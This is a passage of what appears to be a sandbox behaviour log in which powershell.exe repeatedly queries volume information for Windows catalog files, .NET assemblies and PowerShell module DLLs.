Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
